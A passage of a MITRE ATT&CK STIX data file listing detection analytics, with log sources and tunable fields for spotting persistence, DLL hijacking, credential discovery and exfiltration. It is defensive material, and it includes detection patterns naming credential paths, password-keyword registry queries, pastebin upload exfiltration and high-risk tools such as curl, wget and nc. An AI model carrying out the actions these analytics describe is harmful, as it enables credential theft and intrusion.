            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--4416c78b-902b-4baa-9a5d-26f0b7e5d78d",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0184#AN0520",
                    "external_id": "AN0520"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0520",
            "description": "Monitors sequences involving deletion/modification of logs, registry keys, scheduled tasks, or prefetch files following suspicious process activity or elevated access escalation.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=23"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=1102"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=13, 14"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TimeWindow",
                    "description": "Correlate indicator removal within X mins after persistence/setup activities"
                },
                {
                    "field": "TargetFilePathPattern",
                    "description": "Customize detection to log file paths or common registry hives"
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--441bfb28-3fe5-410b-93a5-2280a7f19dad",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0434#AN1208",
                    "external_id": "AN1208"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1208",
            "description": "Detects creation or modification of user-level Launch Agents in monitored directories using `.plist` files with suspicious `ProgramArguments` or `RunAtLoad` keys. Correlates file write activity with execution of `launchctl` or unsigned binaries invoked at login.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "macos:unifiedlog",
                    "channel": "launchctl load or boot-time plist registration"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "fs:fsusage",
                    "channel": "write or chmod to ~/Library/LaunchAgents/*.plist"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "fs:fsusage",
                    "channel": "modification of existing LaunchAgents plist"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705",
                    "name": "macos:osquery",
                    "channel": "detection of new launch agents with suspicious paths or unsigned binaries"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "PlistDirectoryList",
                    "description": "Monitored directories (e.g., `/Library/LaunchAgents`, `~/Library/LaunchAgents`) for plist drops"
                },
                {
                    "field": "PlistKeyMonitor",
                    "description": "Monitored keys such as `RunAtLoad`, `KeepAlive`, or `ProgramArguments` for policy alignment"
                },
                {
                    "field": "ExecutablePathPattern",
                    "description": "Patterns used to detect execution from non-standard or suspicious locations like `/tmp`, `/var`, or `/Users/Shared`"
                },
                {
                    "field": "UnsignedBinaryAlert",
                    "description": "Raise alerts if the binary referenced in the Launch Agent is unsigned or unverified"
                },
                {
                    "field": "UserContextScope",
                    "description": "List of users whose LaunchAgents are considered high-sensitivity (e.g., admins)"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--44500eb7-01f2-4cab-8b76-1227bb48e13e",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0467#AN1289",
                    "external_id": "AN1289"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1289",
            "description": "Detects thread local storage (TLS) callback injection by monitoring memory modifications to PE headers and TLS directory structures during or after process hollowing events, followed by anomalous thread behavior prior to main entry point execution.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=7"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=10"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=8"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e",
                    "name": "EDR:memory",
                    "channel": "MemoryWriteToExecutable"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TargetProcessFilter",
                    "description": "Subset of processes whose TLS callbacks should not change post-load (e.g., explorer.exe, lsass.exe)"
                },
                {
                    "field": "TimeWindowBetweenLoadAndTLSModification",
                    "description": "Acceptable delay between image load and memory tampering in .tls or .data sections"
                },
                {
                    "field": "AnomalousThreadStartThreshold",
                    "description": "Number of threads executing prior to main entry point that is considered suspicious"
                },
                {
                    "field": "PayloadEntropyThreshold",
                    "description": "Optional threshold to distinguish injected shellcode from benign memory writes"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--448ecbfb-2b38-4ecc-9c63-f7dd87339271",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0201#AN0577",
                    "external_id": "AN0577"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0577",
            "description": "DLL hijacking behaviors including unexpected DLL loads from non-standard directories, replacement of DLLs, phantom DLL insertion, redirection file creation, and substitution of legitimate DLLs. Defender correlates file system modifications, registry changes, and module load telemetry to detect abnormal DLL behavior in trusted processes.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=15"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=7"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4657"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "AllowedDllPaths",
                    "description": "Known safe DLL directories to suppress false positives (e.g., C:\\Windows\\System32)."
                },
                {
                    "field": "ProcessAllowList",
                    "description": "Applications expected to load DLLs from non-standard locations (e.g., development tools)."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlation interval between DLL file creation, registry changes, and module load."
                },
                {
                    "field": "HashBaseline",
                    "description": "Baseline hashes for legitimate DLLs used to detect substitution."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--44bb0cf8-12ee-4a8f-8701-6c787a008bd8",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0199#AN0572",
                    "external_id": "AN0572"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0572",
            "description": "Monitor for execution of hypervisor management commands such as `esxcli vm process list` or `vim-cmd vmsvc/getallvms` that enumerate virtual machines. Defenders observe unexpected users issuing VM listing commands outside normal administrative workflows.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "ESXi"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "esxi:shell",
                    "channel": "command IN (\"esxcli vm process list\", \"vim-cmd vmsvc/getallvms\")"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ExpectedAdminUsers",
                    "description": "List of known administrators authorized to run ESXi enumeration commands."
                },
                {
                    "field": "UnexpectedCommandPaths",
                    "description": "Defines restricted paths or contexts where VM enumeration should not occur."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--44c2e32e-bd34-4ba9-8105-28c14309207c",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0408#AN1142",
                    "external_id": "AN1142"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1142",
            "description": "Command-line initiated UDP traffic bursts to external reflection amplification ports using built-in scripting or binaries with network anomalies",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "Execution of ping, nping, or crafted network packets via bash or python to reflection services"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "macos:unifiedlog",
                    "channel": "Outbound UDP spikes to external reflector IPs"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ReflectionPorts",
                    "description": "Ports known for reflection abuse \u2014 DNS, NTP, SSDP, Memcached"
                },
                {
                    "field": "TrafficSpikeThreshold",
                    "description": "How much deviation in outbound traffic constitutes a suspicious spike"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--458038e6-60a2-47d2-bd55-675e77f0e279",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0595#AN1636",
                    "external_id": "AN1636"
                }
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                    "channel": "com.apple.network"
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            ],
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                    "field": "UnsignedBinaryNetworkUsage",
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                    "channel": "EventCode=4688"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
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                    "field": "ProcessName",
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                },
                {
                    "field": "CommandLineMatch",
                    "description": "Filters for variations like `sc query`, `net start`, `Get-Service`."
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                {
                    "field": "ParentProcess",
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            ],
            "x_mitre_deprecated": false
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                    "field": "APILoadWithoutImport",
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                    "field": "EntropyThreshold",
                    "description": "Used to detect obfuscated strings or hashed function names"
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                    "field": "StackTraceFilter",
                    "description": "Optional filtering of known safe modules or patterns from telemetry"
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            "description": "Adversary uses a tool like Ruler to insert a malicious custom form into the user's Outlook mailbox. The form is designed to auto-execute on Outlook startup or on receipt of a specially crafted email. This results in child processes launched from outlook.exe and possibly network connections or payload loading.",
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                    "channel": "EventCode=1"
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                    "channel": "EventCode=11"
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                    "field": "UserContext",
                    "description": "Filters based on non-standard user accounts or execution under SYSTEM when not typical for the environment."
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                {
                    "field": "TaskNamePattern",
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                },
                {
                    "field": "CommandLineEntropyThreshold",
                    "description": "Flags tasks executing heavily obfuscated PowerShell or binary blobs via base64 or encoding."
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "channel": "read access to ~/Library/Keychains or history files by terminal processes"
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                {
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                    "name": "macos:unifiedlog",
                    "channel": "execution of 'security', 'cat', or 'grep' commands accessing credential storage"
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                {
                    "field": "ProcessName",
                    "description": "Tool or command used to query credentials (e.g., security, grep)"
                },
                {
                    "field": "TargetPath",
                    "description": "Credential file paths (e.g., ~/Library/Keychains)"
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            "description": "Execution of network enumeration utilities (e.g., net.exe, ping.exe, tracert.exe) in short succession, often chained with lateral movement tools or system enumeration commands.",
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            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
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            "x_mitre_domains": [
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                    "channel": "EventCode=1"
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                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
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                    "field": "TimeWindow",
                    "description": "Define bursty execution patterns of enumeration commands (e.g., <30s)"
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                    "field": "ParentProcess",
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            "modified": "2025-10-21T15:10:28.402Z",
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            "description": "Detects upload of malicious or unusual file types into cloud-shared folders, followed by user downloads or interactions.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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                    "channel": "drive.activity logs"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--f5468e67-51c7-4756-9b4f-65707708e7fa",
                    "name": "m365:unified",
                    "channel": "FileUploaded, FileAccessed"
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            ],
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                    "field": "UserUploadRateThreshold",
                    "description": "Abnormal upload patterns into shared drives."
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                {
                    "field": "MaliciousFileIndicator",
                    "description": "File hash or known-bad filename pattern matching."
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                    "channel": "log stream --info --predicate 'eventMessage CONTAINS \"exec\"'"
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                    "field": "LaunchAgentName",
                    "description": "Monitor for specific plist agents frequently abused for persistence or payload execution."
                },
                {
                    "field": "ScriptName",
                    "description": "Path or script name pattern (e.g., hidden files, /tmp locations)."
                },
                {
                    "field": "TerminalAppUsage",
                    "description": "Adjust based on whether Terminal.app use is common or restricted in user policy."
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            ],
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            "name": "Analytic 0038",
            "description": "Unauthorized shell or script-based access to browser config or SQLite history files, typically in ~/.config/google-chrome/, ~/.mozilla/, or ~/.var/app folders, indicating enumeration of bookmarks or saved credentials.",
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            "description": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
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            "x_mitre_domains": [
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                    "description": "Deviation threshold to consider data 'fixed size' (e.g., \u00b15% size delta)"
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                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
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            "x_mitre_deprecated": false
        },
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            "description": "CONTAINERS (Docker/K8s/containerd): A user pulls an untrusted image from a public/unknown registry and then creates/starts a container from that image. Shortly after start, the container spawns unexpected utilities (e.g., curl/wget/bash/python), or makes outbound network connections atypical for the namespace/workload. The analytic correlates Image Creation/Download \u2192 Container Creation \u2192 Container Start \u2192 Command Execution/Network activity within a short window and with a consistent image digest.",
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            "x_mitre_domains": [
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            ],
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                    "channel": "Image pull from untrusted registry (name NOT IN allowlist) or new digest never seen before"
                },
                {
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                    "channel": "create: Pod/Container created with image tag 'latest' or mutable tag; imagePullPolicy=Always; noDigest=true"
                },
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                    "name": "kubernetes:events",
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "auditd:SYSCALL",
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
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            ],
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                    "description": "Approved registries/namespaces (e.g., ECR/GCR/ACR org repos)."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlation window from image pull to container activity (e.g., \u226415m)."
                },
                {
                    "field": "SuspiciousBinaries",
                    "description": "Executables treated as high-risk when run in app containers (bash, sh, curl, wget, nc, powershell for Windows containers)."
                },
                {
                    "field": "NamespaceScope",
                    "description": "K8s namespaces that should never pull from Internet or run mutable tags."
                },
                {
                    "field": "OutboundCIDRBlockList",
                    "description": "Destination networks/domains that should not be contacted by containers."
                }
            ],
            "x_mitre_deprecated": false
        },
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            "description": "Detects creation of traffic mirroring sessions (e.g., AWS VPC Traffic Mirroring, Azure vTAP) that redirect traffic from critical assets to other virtual instances, often followed by file creation or session establishment.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
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            "x_mitre_domains": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e",
                    "name": "AWS:CloudTrail",
                    "channel": "CreateTrafficMirrorSession / ModifyTrafficMirrorTarget"
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            ],
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                {
                    "field": "MirrorSourceList",
                    "description": "Identify VMs or containers where mirror sessions are abnormal or unexpected."
                },
                {
                    "field": "TargetIAMRole",
                    "description": "Monitor whether mirror target roles match administrative expectations."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
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            "created": "2025-10-21T15:10:28.402Z",
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                    "url": "https://attack.mitre.org/detectionstrategies/DET0250#AN0694",
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            "description": "Defenders observe command-line executions or API-based registry reads targeting sensitive paths like HKLM or HKCU with keyword filters such as 'password', 'cred', or 'logon'. Typically performed by Reg.exe, PowerShell, custom binaries, or offensive tools such as Cobalt Strike. Correlation with process ancestry and command-line arguments indicates suspicious credential discovery activity.",
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            "x_mitre_domains": [
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                    "description": "List of strings searched in registry queries (e.g., password, credential, login). May need to expand for localized OS or app-specific terms."
                },
                {
                    "field": "ParentProcessFilter",
                    "description": "Parent process used for registry access. Can tune for suspicious ancestry (e.g., cmd.exe > reg.exe vs. services.exe > reg.exe)."
                },
                {
                    "field": "TimeWindow",
                    "description": "Time-based correlation window for detecting chained activity between registry reads and subsequent credential use or exfiltration."
                },
                {
                    "field": "RegistryHiveScope",
                    "description": "HKLM vs. HKCU vs. others. May limit scope to user or system context depending on risk appetite."
                }
            ]
        },
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0031",
            "description": "Outbound traffic with anomalous payload sizes and patterns from non-networking processes, often observed via packet inspection or connection logs.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
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            "x_mitre_domains": [
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            ],
            "x_mitre_platforms": [
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            ],
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                {
                    "field": "MountPointPattern",
                    "description": "Monitor mount points like /media, /mnt, or /run/media."
                },
                {
                    "field": "UserGroupScope",
                    "description": "Restrict detection to non-root or unexpected users."
                },
                {
                    "field": "AccessVolumeThreshold",
                    "description": "Alert on large file access or copy events."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--4e3afe58-e384-4b9e-9137-adaa0bac72af",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0227#AN0636",
                    "external_id": "AN0636"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0636",
            "description": "VM services or management daemons communicating on ports not defined by VMware defaults, such as vpxa or hostd processes initiating traffic over high-numbered or unexpected ports.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "ESXi"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "esxi:vpxd",
                    "channel": "ESXi service connections on unexpected ports"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "esxcli:network",
                    "channel": "listening sockets bound to non-standard ports"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ESXiAllowedPorts",
                    "description": "Default VMware service ports that should not be flagged."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--4e469a08-db8b-49c1-8bf6-f76ffa21860f",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0862#AN1994",
                    "external_id": "AN1994"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1994",
            "description": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--4e4c318b-5da0-46f7-aed2-d37828e4831b",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0447#AN1235",
                    "external_id": "AN1235"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1235",
            "description": "Adversary uses built-in tools like 'net user /add', PowerShell, or WMI to create a local user. Sequence: Account creation event (4720) follows process creation of a suspicious executable (e.g., powershell.exe or net.exe).",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--deb22295-7e37-4a3b-ac6f-c86666fbe63d",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4720"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ParentProcessName",
                    "description": "Attackers may use cmd.exe, wscript.exe, or renamed binaries to evade detection"
                },
                {
                    "field": "TimeWindow",
                    "description": "Define time threshold between process start and user creation event (e.g., 5s\u20132m)"
                },
                {
                    "field": "UserContext",
                    "description": "Correlate if process runs under SYSTEM, Administrator, or untrusted account"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--4e5ffb58-75de-4305-a439-98ca3499f45e",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0503#AN1389",
                    "external_id": "AN1389"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 1389",
            "description": "Detects the execution of non-browser processes establishing outbound encrypted network connections using uncommon symmetric encryption protocols (e.g., AES via PowerShell or custom scripts) to alternate external destinations.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "PayloadEntropyThreshold",
                    "description": "Flag high-entropy payloads sent over unexpected protocols."
                },
                {
                    "field": "TimeWindow",
                    "description": "Define allowable transfer window (e.g., abnormal traffic outside business hours)."
                },
                {
                    "field": "ExecutableAllowlist",
                    "description": "List of known-good binaries for encrypted traffic (e.g., Chrome, Outlook)."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--4e8da615-4d12-4b53-8c7b-06d7c41e22a9",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0284#AN0787",
                    "external_id": "AN0787"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0787",
            "description": "Unexpected processes (e.g., powershell.exe, wscript.exe, office apps) initiating HTTP POST/PUT requests to text storage domains like pastebin.com or hastebin.com, particularly when preceded by file access in sensitive directories. Defender perspective: correlation of process lineage, large clipboard/file read operations, and outbound uploads to text storage services.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4663, 4670, 4656"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TextStorageDomains",
                    "description": "Domains to monitor such as pastebin.com, hastebin.com, ghostbin.com."
                },
                {
                    "field": "UploadSizeThreshold",
